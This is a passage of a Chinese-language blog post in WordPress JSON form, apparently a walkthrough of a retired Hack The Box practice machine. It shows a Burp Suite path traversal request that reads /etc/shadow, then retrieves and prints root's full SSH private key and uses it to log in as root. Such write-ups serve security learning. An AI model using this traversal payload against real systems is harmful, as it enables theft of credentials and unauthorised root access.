\/><\/p>\n<p>\u6253\u5f00\u5f00\u53d1\u4eba\u5458\u5de5\u5177\uff0c\u70b9\u51fb\u7f51\u7edc\uff0c\u91cd\u65b0\u52a0\u8f7d\u9875\u9762\uff0c\u53ef\u4ee5\u53d1\u73b0\u9875\u9762\u8bf7\u6c42\u4e86<code>\/assets<\/code>\u76ee\u5f55\u4e0b\u7684\u6587\u4ef6\uff1a<\/p>\n<p><img decoding=\"async\" src=\"https:\/\/cdn.nlark.com\/yuque\/0\/2024\/png\/42816956\/1729836890481-6ed93abb-142e-4502-a78f-e6e881b86e80.png\" alt=\"\" \/><\/p>\n<p>\u76f4\u63a5\u6253\u5f00<code>BurpSuite<\/code>\u622a\u53d6\u6d41\u91cf\u5305\uff0c\u4fee\u6539\u4e4b\u540e\u91cd\u653e\uff1a<\/p>\n<pre><code class=\"language-plain\">GET \/assets\/..\/..\/..\/..\/etc\/shadow HTTP\/1.1\nHost: 127.0.0.1:8080\nContent-Length: 2\n<\/code><\/pre>\n<p><img decoding=\"async\" src=\"https:\/\/cdn.nlark.com\/yuque\/0\/2024\/png\/42816956\/1729838052426-aea431ef-c2e3-4d9b-a0eb-b852774affae.png\" alt=\"\" \/><\/p>\n<p>\u6f0f\u6d1e\u5229\u7528\u6210\u529f\uff01\uff01\u63a5\u4e0b\u6765\u8bfb\u53d6<code>\/root\/.ssh\/id_rsa<\/code>\u6587\u4ef6\uff1a<\/p>\n<p><img decoding=\"async\" src=\"https:\/\/cdn.nlark.com\/yuque\/0\/2024\/png\/42816956\/1729838132749-ba73d33e-2f3b-490e-88cc-46d7194c7b3f.png\" alt=\"\" \/><\/p>\n<pre><code class=\"language-plain\">-----BEGIN OPENSSH PRIVATE KEY-----\nb3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAABlwAAAAdzc2gtcn\nNhAAAAAwEAAQAAAYEAsFbYzGxskgZ6YM1LOUJsjU66WHi8Y2ZFQcM3G8VjO+NHKK8P0hIU\nUbnmTGaPeW4evLeehnYFQleaC9u\/\/vciBLNOWGqeg6Kjsq2lVRkAvwK2suJSTtVZ8qGi1v\nj0wO69QoWrHERaRqmTzranVyYAdTmiXlGqUyiy0I7GVYqhv\/QC7jt6For4PMAjcT0ED3Gk\nHVJONbz2eav5aFJcOvsCG1aC93Le5R43Wgwo7kHPlfM5DjSDRqmBxZpaLpWK3HwCKYITbo\nDfYsOMY0zyI0k5yLl1s685qJIYJHmin9HZBmDIwS7e2riTHhNbt2naHxd0WkJ8PUTgXuV2\nUOljWP\/TVPTkM5byav5bzhIwxhtdTy02DWjqFQn2kaQ8xe9X+Ymrf2wK8C4ezAycvlf3Iv\nATj++Xrpmmh9uR1HdS1XvD7glEFqNbYo3Q\/OhiMto1JFqgWugeHm715yDnB3A+og4SFzrE\nvrLegAOwvNlDYGjJWnTqEmUDk9ruO4Eq4ad1TYMbAAAFiPikP5X4pD+VAAAAB3NzaC1yc2\nEAAAGBALBW2MxsbJIGemDNSzlCbI1Oulh4vGNmRUHDNxvFYzvjRyivD9ISFFG55kxmj3lu\nHry3noZ2BUJXmgvbv\/73IgSzTlhqnoOio7KtpVUZAL8CtrLiUk7VWfKhotb49MDuvUKFqx\nxEWkapk862p1cmAHU5ol5RqlMostCOxlWKob\/0Au47ehaK+DzAI3E9BA9xpB1STjW89nmr\n+WhSXDr7AhtWgvdy3uUeN1oMKO5Bz5XzOQ40g0apgcWaWi6Vitx8AimCE26A32LDjGNM8i\nNJOci5dbOvOaiSGCR5op\/R2QZgyMEu3tq4kx4TW7dp2h8XdFpCfD1E4F7ldlDpY1j\/01T0\n5DOW8mr+W84SMMYbXU8tNg1o6hUJ9pGkPMXvV\/mJq39sCvAuHswMnL5X9yLwE4\/vl66Zpo\nfbkdR3UtV7w+4JRBajW2KN0PzoYjLaNSRaoFroHh5u9ecg5wdwPqIOEhc6xL6y3oADsLzZ\nQ2BoyVp06hJlA5Pa7juBKuGndU2DGwAAAAMBAAEAAAGBAJikdMJv0IOO6\/xDeSw1nXWsgo\n325Uw9yRGmBFwbv0yl7oD\/GPjFAaXE\/99+oA+DDURaxfSq0N6eqhA9xrLUBjR\/agALOu\/D\np2QSAB3rqMOve6rZUlo\/QL9Qv37KvkML5fRhdL7hRCwKupGjdrNvh9Hxc+WlV4Too\/D4xi\nJiAKYCeU7zWTmOTld4ErYBFTSxMFjZWC4YRlsITLrLIF9FzIsRlgjQ\/LTkNRHTmNK1URYC\nFo9\/UWuna1g7xniwpiU5icwm3Ru4nGtVQnrAMszn10E3kPfjvN2DFV18+pmkbNu2RKy5mJ\nXpfF5LCPip69nDbDRbF22stGpSJ5mkRXUjvXh1J1R1HQ5pns38TGpPv9Pidom2QTpjdiev\ndUmez+ByylZZd2p7wdS7pzexzG0SkmlleZRMVjobauYmCZLIT3coK4g9YGlBHkc0Ck6mBU\nHvwJLAaodQ9Ts9m8i4yrwltLwVI\/l+TtaVi3qBDf4ZtIdMKZU3hex+MlEG74f4j5BlUQAA\nAMB6voaH6wysSWeG55LhaBSpnlZrOq7RiGbGIe0qFg+1S2JfesHGcBTAr6J4PLzfFXfijz\nsyGiF0HQDvl+gYVCHwOkTEjvGV2pSkhFEjgQXizB9EXXWsG1xZ3QzVq95HmKXSJoiw2b+E\n9F6ERvw84P6Opf5X5fky87eMcOpzrRgLXeCCz0geeqSa\/tZU0xyM1JM\/eGjP4DNbGTpGv4\nPT9QDq+ykeDuqLZkFhgMped056cNwOdNmpkWRIck9ybJMvEA8AAADBAOlEI0l2rKDuUXMt\nXW1S6DnV8OFwMHlf6kcjVFQXmwpFeLTtp0OtbIeo7h7axzzcRC1X\/J\/N+j7p0JTN6FjpI6\nyFFpg+LxkZv2FkqKBH0ntky8F\/UprfY2B9rxYGfbblS7yU6xoFC2VjUH8ZcP5+blXcBOhF\nhiv6BSogWZ7QNAyD7OhWhOcPNBfk3YFvbg6hawQH2c0pBTWtIWTTUBtOpdta0hU4SZ6uvj\n71odqvPNiX+2Hc\/k\/aqTR8xRMHhwPxxwAAAMEAwYZp7+2BqjA21NrrTXvGCq8N8ZZsbc3Z\n2vrhTfqruw6TjUvC\/t6FEs3H6Zw4npl+It13kfc6WkGVhsTaAJj\/lZSLtN42PXBXwzThjH\ngiZfQtMfGAqJkPIUbp2QKKY\/y6MENIk5pwo2KfJYI\/pH0zM9l94eRYyqGHdbWj4GPD8NRK\nOlOfMO4xkLwj4rPIcqbGzi0Ant\/O+V7NRN\/mtx7xDL7oBwhpRDE1Bn4ILcsneX5YH\/XoBh\n1arrDbm+uzE+QNAAAADnJvb3RAY2hlbWlzdHJ5AQIDBA==\n-----END OPENSSH PRIVATE KEY-----<\/code><\/pre>\n<p>\u76f4\u63a5\u4fdd\u5b58\u79c1\u94a5\uff0c\u767b\u5f55<code>root<\/code>\u7528\u6237\uff1a<\/p>\n<p><img decoding=\"async\" src=\"https:\/\/cdn.nlark.com\/yuque\/0\/2024\/png\/42816956\/1729838289342-8209e24b-1819-4a86-93c8-eaced2bd22db.png\" alt=\"\" \/><\/p>\n<p><strong>\u63d0\u6743\u6210\u529f\uff01\uff01\uff01\uff01<\/strong><\/p>\n<hr \/>\n<h1>Flag\u6587\u4ef6\u5c55\u793a<\/h1>\n<p><img decoding=\"async\" src=\"https:\/\/cdn.nlark.com\/yuque\/0\/2024\/png\/42816956\/1729838403524-44f75f48-b9ae-43c0-b9b5-28c51a3cb33b.png\" alt=\"\" \/><\/p>\n<hr \/>\n<h1>\u672c\u6b21\u9776\u673a\u6e17\u900f\u5230\u6b64\u7ed3\u675f<\/h1>\n<hr \/>\n","protected":false},"excerpt":{"rendered":"<p>\u76ee\u6807\u4fe1\u606f IP\u5730\u5740\uff1a10.10.11.38 \u4fe1\u606f\u6536\u96c6 ICMP\u68c0\u6d4b PING 10.10.11.38 (10.10.11.38)  &#8230;<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"_seopress_robots_primary_cat":"","_seopress_titles_title":"","_seopress_titles_desc":"","_seopress_robots_index":"","emotion":"","emotion_color":"","title_style":"","license":"","footnotes":""},"categories":[3,14],"tags":[],"class_list":["post-203","post","type-post","status-publish","format-standard","hentry","category-htb_retired","category-linux_machines"],"_links":{"self":[{"href":"https:\/\/www.misaka19008-lab.icu\/index.php\/wp-json\/wp\/v2\/posts\/203","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.misaka19008-lab.icu\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.misaka19008-lab.icu\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.misaka19008-lab.icu\/index.php\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/www.misaka19008-lab.icu\/index.php\/wp-json\/wp\/v2\/comments?post=203"}],"version-history":[{"count":1,"href":"https:\/\/www.misaka19008-lab.icu\/index.php\/wp-json\/wp\/v2\/posts\/203\/revisions"}],"predecessor-version":[{"id":204,"href":"https:\/\/www.misaka19008-lab.icu\/index.php\/wp-json\/wp\/v2\/posts\/203\/revisions\/204"}],"wp:attachment":[{"href":"https:\/\/www.misaka19008-lab.icu\/index.php\/wp-json\/wp\/v2\/media?parent=203"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.misaka19008-lab.icu\/index.php\/wp-json\/wp\/v2\/categories?post=203"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.misaka19008-lab.icu\/index.php\/wp-json\/wp\/v2\/tags?post=203"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}